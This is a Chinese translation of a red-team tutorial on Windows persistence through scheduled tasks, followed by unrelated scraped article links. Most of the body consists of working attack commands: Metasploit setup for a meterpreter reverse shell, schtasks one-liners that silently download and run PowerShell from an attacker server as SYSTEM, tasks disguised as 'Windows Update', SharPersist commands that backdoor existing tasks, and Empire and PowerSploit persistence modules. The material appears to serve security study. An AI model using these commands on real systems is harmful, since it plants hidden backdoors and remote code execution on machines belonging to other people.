Windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被red team利用。通过计划任务执行持久性不需要管理员权限,但如果已获得提升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务。
计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。这被认为是一种旧的持久性技术,但是它仍然可以在red team场景中使用,并且由各种开源工具支持。Metasploit 的web_delivery模块可用于托管和生成各种格式的有效载荷。

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit

在命令提示符下,“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个Windows登录中以SYSTEM的形式下载并执行基于PowerShell的有效负载。

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

命令提示符--持久性计划任务

当用户再次使用系统登录时,将执行有效负载,并打开meterpreter会话。

Meterpreter – 持久性计划任务

也可以在系统启动期间或用户会话处于非活动状态(空闲模式)时执行。

#(X64) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30 #(X86) - On User Login
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System #(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

有效负载的执行也可以在特定的时间发生,并且可以具有到期日期和自删除功能。“schtasks”实用程序提供了必要的选项,因为它是其功能的一部分。

schtasks /CREATE /TN "Windows Update" /TR "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%

持续性–计划任务日期和时间

如果为目标事件启用了事件日志记录,则可以在特定的Windows事件中触发任务。b33f在他的网站上演示了此技术。Windows事件命令行实用程序可用于查询事件ID。

wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]

查询事件ID

可以创建一个计划任务,该任务将在系统上发生关联的事件ID时执行有效负载。

schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"

持久性–计划任务事件ID

查询 ”参数可用于检索新创建的计划任务的信息。

schtasks /Query /tn OnLogOff /fo List /v

查询计划任务

当用户管理员注销时,将创建事件ID,并在下次登录时执行有效负载。

计划任务注销– Meterpreter

或者,可以使用PowerShell创建计划任务,这些任务将在用户登录时或在特定时间和日期执行。

$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"
$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"
$S = New-ScheduledTaskSettingsSet
$P = New-ScheduledTaskPrincipal "Pentestlab"
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask Pentestlab -InputObjec $D $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask PentestLaboratories -InputObject $D

持久性计划任务– PowerShell

SharPersist

github项目地址:https://github.com/fireeye/SharPersist
通过计划任务在SharPersist中添加了关于持久性的多种功能。如果用户具有管理员级别的特权,则以下命令可以创建一个新的计划任务,该任务将在Windows登录期间执行。

SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m add -o logon

SharPersist –新计划任务登录

在系统的下一次重新引导中,有效负载将执行,并且Meterpreter会话将打开。

Meterpreter – SharPersist计划任务

SharPersist也可用于列出特定的计划任务,以识别所有者,触发器和要执行的动作。

SharPersist -t schtask -m list -n "PentestLab"

SharPersist –列表计划任务

或者,仅使用“ list ”选项而不指定名称将枚举系统上所有现有的计划任务。

SharPersist -t schtask -m list

SharPersist –列表计划任务

类似于Metasploit Framework功能,该功能具有检查目标是否易受攻击以及漏洞利用能否成功执行的功能,SharPersist具有空运行检查。通过检查名称和提供的参数,此功能可用于验证调度任务命令。

SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check

SharPersist –检查计划任务

SharPersist还可以枚举登录期间将执行的所有计划任务。此命令可用于主机的态势感知期间,并确定是否存在可以修改以运行有效负载而不是创建新任务的现有计划任务。

SharPersist -t schtaskbackdoor -m list -o logon

SharPersist –列出登录计划任务

schtaskbackdoor功能与检查相结合的参数可以识别,如果一个特定的计划任务已后门。

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check

SharPersist –检查后门计划任务

Add ”参数将后门现有的计划任务,该任务将执行恶意命令,而不是执行更隐蔽的持久性选项来执行合法动作。

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "ReconcileLanguageResources" -m add

SharPersist –后门计划任务

Empire

Empire根据活动代理的特权包含两个模块,这些模块可用于实施计划任务的持久性技术。以下配置每天凌晨03:22将执行基于PowerShell的有效负载。有效负载存储在注册表项中,任务名称为“ WindowsUpdate ”,以便区分合法的计划任务。

usemodule persistence/userland/schtasks
set Listener http
set TaskName WindowsUpdate
set DailyTime 03:22
execute

Empire – 持久性计划任务

计划任务的提升模块提供了在用户登录期间执行有效负载的选项。在这两个模块中,都将使用注册表以Base64编码格式存储有效负载,但是以不同的注册表项存储。

usemodule persistence/elevated/schtasks*
set Listener http

Empire Elevated – 持久性计划任务

PowerSploit

PowerSploit的持久性模块支持各种功能,可用于向脚本或脚本块添加持久性功能。在添加持久性之前,需要配置高架选项和用户选项。

$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Hourly
$UserOptions = New-UserPersistenceOption -ScheduledTask -Hourly
Add-Persistence -FilePath C:\temp\empire.exe -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions

PowerSploit –计划任务

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

原文地址:https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/

Window权限维持(二):计划任务的更多相关文章

  1. window权限 及c++实现 【网摘】(转)

    from : http://blog.csdn.net/zipper9527/article/details/6256459 http://www.lihuasoft.net/article/show ...

  2. 转:JAVAWEB开发之权限管理(二)——shiro入门详解以及使用方法、shiro认证与shiro授权

    原文地址:JAVAWEB开发之权限管理(二)——shiro入门详解以及使用方法.shiro认证与shiro授权 以下是部分内容,具体见原文. shiro介绍 什么是shiro shiro是Apache ...

  3. 将 Shiro 作为应用的权限基础 二:shiro 认证

    认证就是验证用户身份的过程.在认证过程中,用户需要提交实体信息(Principals)和凭据信息(Credentials)以检验用户是否合法.最常见的“实体/凭证”组合便是“用户名/密码”组合. 一. ...

  4. Linux更改文件权限(二)

    更改文件权限(二)============================== (参考于千锋教育教学笔记) 命令umask [root@aminglinux ~]# umask 0022 [root@ ...

  5. ASP.NET MVC +EasyUI 权限设计(二)环境搭建

    请注明转载地址:http://www.cnblogs.com/arhat 今天突然发现博客园出问题了,老魏使用了PC,手机,平板都访问博客园了,都是不能正常的访问,原因是不能加载CSS,也就是不能访问 ...

  6. Ubuntu下的用户和权限(二)

    五.chown.chgrp命令 从名字就能够猜測他们是干嘛的,可是这两个命令须要root权限. chown命令的格式为:chown user:group file  中间的user : group三项 ...

  7. MySQL权限系统(二). MySQL提供的特权 Privileges Provided by MySQL

    MySQL provides privileges that apply in different contexts and at different levels of operation: Adm ...

  8. Window权限维持(十):Netsh Helper DLL

    Netsh是Windows实用程序,管理员可以使用它来执行与系统的网络配置有关的任务,并在基于主机的Windows防火墙上进行修改.可以通过使用DLL文件来扩展Netsh功能.此功能使红队可以使用此工 ...

  9. 【微信小程序】获取用户地理位置权限,二次请求授权,逆解析获取地址

    摘要:微信小程序内获取用户地理位置信息授权,被拒绝后二次获取,获取权限后逆解析得到用户所在省市区等.. 场景:商城类小程序,在首页时需展示附近门店,即用户刚进入小程序时就需要获取到用户位置信息 ste ...

随机推荐

  1. C# WebClient,HttpClient,WebRequest

    static void WebClientDemo() { string url = "https://www.cnblogs.com/Fred1987/p/11843418.html&qu ...

  2. [笔记] .net core WPF 程序,发布独立程序与单一执行程序

    如何发布独立可运行的,和只有一个文件的 .net core WPF 程序. 1 发布并打包 Step 1 在项目上右键,在菜单中选择发布,使用文件发布,选择独立部署模式,其它的条件,依照自己的情况设置 ...

  3. 17个常见的Python运行时错误

    对于刚入门的Pythoner在学习过程中运行代码是或多或少会遇到一些错误,刚开始可能看起来比较费劲.随着代码量的积累,熟能生巧当遇到一些运行时错误时能够很快的定位问题原题.下面整理了常见的17个错误, ...

  4. python爬取网站视频保存到本地

    前言 文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者: Woo_home PS:如有需要Python学习资料的小伙伴可以加点 ...

  5. kali linux maltego-情报收集工具

    Maltego是一个交互式数据挖掘工具,它为链接分析呈现有向图.该工具用于在线调查,以发现互联网上各种来源的信息片段之间的关系. 注册Maltego账号,注册地址:https://www.paterv ...

  6. [Go] gocron源码阅读-go语言web框架Macaron

    gocron源码中使用的是马卡龙框架,下面这个就是安装这个框架,和一般的MVC框架很像go get gopkg.in/macaron.v1git clone https://github.com/go ...

  7. CodeForces-1257D (贪心+双指针)

    题意 https://vjudge.net/problem/CodeForces-1257D 你需要操作m个英雄去打败n只怪物,每个英雄的力量值为pi,可以打败si只怪物:每只怪物的力量值为ai. 当 ...

  8. Java学习笔记(2)--- 对象和类入门,java包,this 和 super区别

    1.对象和类(Object and class): 一个 Java 程序可以认为是一系列对象的集合,而这些对象通过调用彼此的方法来协同工作. 面对对象编程是java非常重要的一部分,作者本身之前学过c ...

  9. 谷歌浏览器安装JsonView插件

    可方便阅读json格式文件,参考https://www.jianshu.com/p/6ea9f2245f4d

  10. centos7.6离线安装mysql5.7(附下载链接)

    本来打算直接用原生yum源安装,但是跨国访问网络太慢,只好采用离线安装的方式,原理就是把所需的rpm下载下来再上传服务器安装. 1.rpm文件下载地址: 目录: http://repo.mysql.c ...